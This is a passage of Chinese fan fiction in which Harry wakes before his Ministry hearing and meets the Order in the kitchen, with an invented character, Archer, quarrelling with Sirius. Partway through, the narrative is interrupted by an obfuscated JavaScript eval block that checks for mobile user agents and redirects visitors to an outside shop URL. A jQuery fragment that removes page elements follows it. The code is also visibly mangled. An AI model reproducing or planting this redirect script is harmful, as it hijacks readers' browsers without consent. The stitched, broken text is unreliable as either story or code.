“哈！”小天狼星怒氣衝衝地說，“原來你也知道他不喜歡哈利！那你怎麼會跟他做朋友？”
“在問這個問題之前，建議你問阿不思。”阿切爾施施然地站起來。
她說：“你這樣討厭西弗勒斯，害怕他對哈利做什麼，跟我說沒有用。真正的決定權在阿不思手上。至於我喜歡交什麼朋友，就更用不著你來管了。”
星期四早晨五點半，哈利猛地一下完全清醒過來，就好像有人衝他耳朵裡大喊了一聲。
他一動不動地躺在那裡，慢慢地，要去魔法部受審的事充滿了他大腦的每個細胞。他再也無法忍受了，就從床上跳下來，戴上了眼鏡。韋斯萊夫人已經把洗熨一新的牛仔褲和T恤衫放在了他的床腳邊。
哈利摸索著穿上它們。牆上那幅空白的畫紙在吃吃發笑。
羅恩四肢舒展地仰麵躺在床上，嘴巴張得大大的，睡得正香。哈利穿過房間，來到門外的樓梯平台上，反手把門輕輕關上，羅恩一直沒有動彈。
哈利竭力不去想當他下次再見到羅恩時，他們可能已經不再是霍格沃茨的同學了。
他輕手輕腳地走下樓梯，經過克利切祖先的那些腦袋，來到下麵的廚房裡。
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13291969|122282||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
他本來以為廚房裡沒有人，可他剛走到門口，就聽見門後傳來一片低低的說話聲。
他推開門，看見韋斯萊先生、韋斯萊夫人、小天狼星、盧平和唐克斯都坐在那裡，好像正在等他似的。他們都穿得整整齊齊，隻有韋斯萊夫人穿的是一件紫色的夾晨衣。
哈利一進去，她就立刻站了起來。
“吃早飯。”她一邊說一邊抽出魔杖，匆匆地朝火爐走去。
“早——早——早上好，哈利。”唐克斯打著哈欠說。今天早晨她的頭發是金黃色的，打著卷兒。“睡得好嗎？”
“挺好。”哈利說。
“我一夜沒——沒——沒睡。”她說，又渾身顫抖著打了一個大哈欠，“過來坐下吧。”她拖出一把椅子，結果把旁邊一把椅子推翻了。
“你想吃什麼，哈利？”韋斯萊夫人大聲問，“粥？鬆餅？熏魚？火腿和雞蛋？麵包？”
“就——就來麵包好了，謝謝。”哈利說。
盧平看了一眼哈利，然後對唐克斯說：“你剛才說斯克林傑怎麼啦？”
“哦，對了，是這樣，我們需要更小心點兒了，他開始問我和金斯萊一些古怪的問題。”
他們沒有要求哈利加入談話，他感到鬆了口氣。他心裡一直局促不安。韋斯萊夫人把兩片麵包和橘子醬放在他麵前，他費力地吃著，味同嚼蠟。
韋斯萊夫人在他的另一邊坐了下來，開始格外細致地關心他的T恤衫，一會兒把標簽塞進去，一會兒又把肩膀上的接縫抹平。哈利真希望她不要這麼做。
“對了，阿切爾呢？”他忽然注意到阿切爾不在這裡，可是她昨天晚上說，她會陪他去法庭的啊。
小天狼星不滿地咕噥一聲，他跟阿切爾已經冷戰一天一夜了。
“可能還在睡覺。”盧平說，“沒關係，赫敏說如果她起不來的話，她會叫阿切爾起床的。”
正說著，阿切爾就一臉沒睡好的困倦模樣走進廚房。Ruin趴在她的肩膀上，穿著與它主人鬥篷同色係的小西裝，兩肢耷拉在前方，也同樣是沒精打采的。